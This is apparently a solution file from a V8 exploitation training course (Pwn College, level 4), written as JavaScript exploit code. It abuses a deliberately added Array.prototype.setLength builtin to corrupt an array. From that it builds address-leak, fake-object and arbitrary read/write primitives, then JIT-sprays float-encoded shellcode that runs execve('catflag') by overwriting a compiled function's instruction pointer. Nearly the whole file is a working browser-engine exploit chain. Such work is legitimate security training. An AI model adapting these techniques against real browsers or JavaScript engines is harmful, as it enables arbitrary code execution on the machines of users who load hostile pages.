pwn-learning/JavaScript/PwnCollegeV8Exploitation/Level4/Exploit.js

// Integrated Builtin:
// - Array.prototype.setLength(length)

let ab = new ArrayBuffer(8);
let f64a = new Float64Array(ab, 0, 1);
let i32a = new Uint32Array(ab, 0, 2);
let si32a = new Int32Array(ab, 0, 2);
let bi64a = new BigUint64Array(ab, 0, 1);

function c2f(low, high) { // combined (two 4 bytes) word to float
    i32a[0] = low;
    i32a[1] = high;
    return f64a[0];
}

function b2f(v) { // bigint to float
    bi64a[0] = v;
    return f64a[0];
}

function f2b(v) { // float to bigint
    f64a[0] = v;
    return bi64a[0];
}

function unptr(v) {
    return v & 0xfffffffe;
}

function ptr(v) {
    return v | 1;
}

function shellcode() { // Promote to ensure not GC during training
    // JIT spray machine code form of `execve("catflag", NULL, NULL)`
    return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
}
for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation

let placeholder = {};
let corrupt_arr = [2.30234590962020889586281057477E-320];
let double_arr = [1.09366371363418335018925267989E-319];
let obj_arr = [placeholder];
corrupt_arr.setLength(128);

// %DebugPrint(corrupt_arr);
// %DebugPrint(double_arr);
// %DebugPrint(obj_arr);
// %SystemBreak();

const corrupt_arr_0_to_obj_arr_0_offset = 13;
const corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD = 1;

function GetAddressOf(obj) {
    obj_arr[0] = obj;
    f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset];
    return unptr(i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD]);
}

function GetFakeObject(addr) {
    f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset];
    let old_obj_addr = i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD];
    i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = ptr(addr);
    corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0];
    let faked_obj = obj_arr[0];
    i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = old_obj_addr;
    corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0];
    return faked_obj;
}

const corrupt_arr_0_to_double_arr_element_offset = 4;

// QWORD Aligned
function ArbRead64(cage_addr) { // int32
    if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
    corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002);
    let result = f2b(double_arr[0]);
    console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`);
    return result;
}

// QWORD Aligned
function ArbWrite64(cage_addr, value) { // int32, bigint
    if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
    corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002);
    let written = b2f(value);
    double_arr[0] = written;
    console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${value.toString(16)}`);
}

// DWORD Aligned
function ArbRead32(cage_addr) { // int32 -> int32
    if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
    bi64a[0] = ArbRead64(cage_addr & 0xfffffff8);
    let result = i32a[(cage_addr & 0x4) >> 2];
    console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`);
    return result;
}

// DWORD Aligned
function ArbWrite32(cage_addr, value) { // int32, int32 -> void
    if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
    let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8;
    bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr);
    i32a[(cage_addr & 0x4) >> 2] = value;
    ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]);
    console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`);
}

let shellcode_addr = GetAddressOf(shellcode);
console.log("Address of shellcode: " + shellcode_addr.toString(16));
let code_addr = unptr(ArbRead32(shellcode_addr + 0xC));
console.log("Address of code: " + code_addr.toString(16));
let instruction_start_addr = code_addr + 0x14;
let instruction_start = ArbRead32(instruction_start_addr);
console.log("instruction_start: " + instruction_start.toString(16));
ArbWrite32(instruction_start_addr, instruction_start + 0x6B);
shellcode();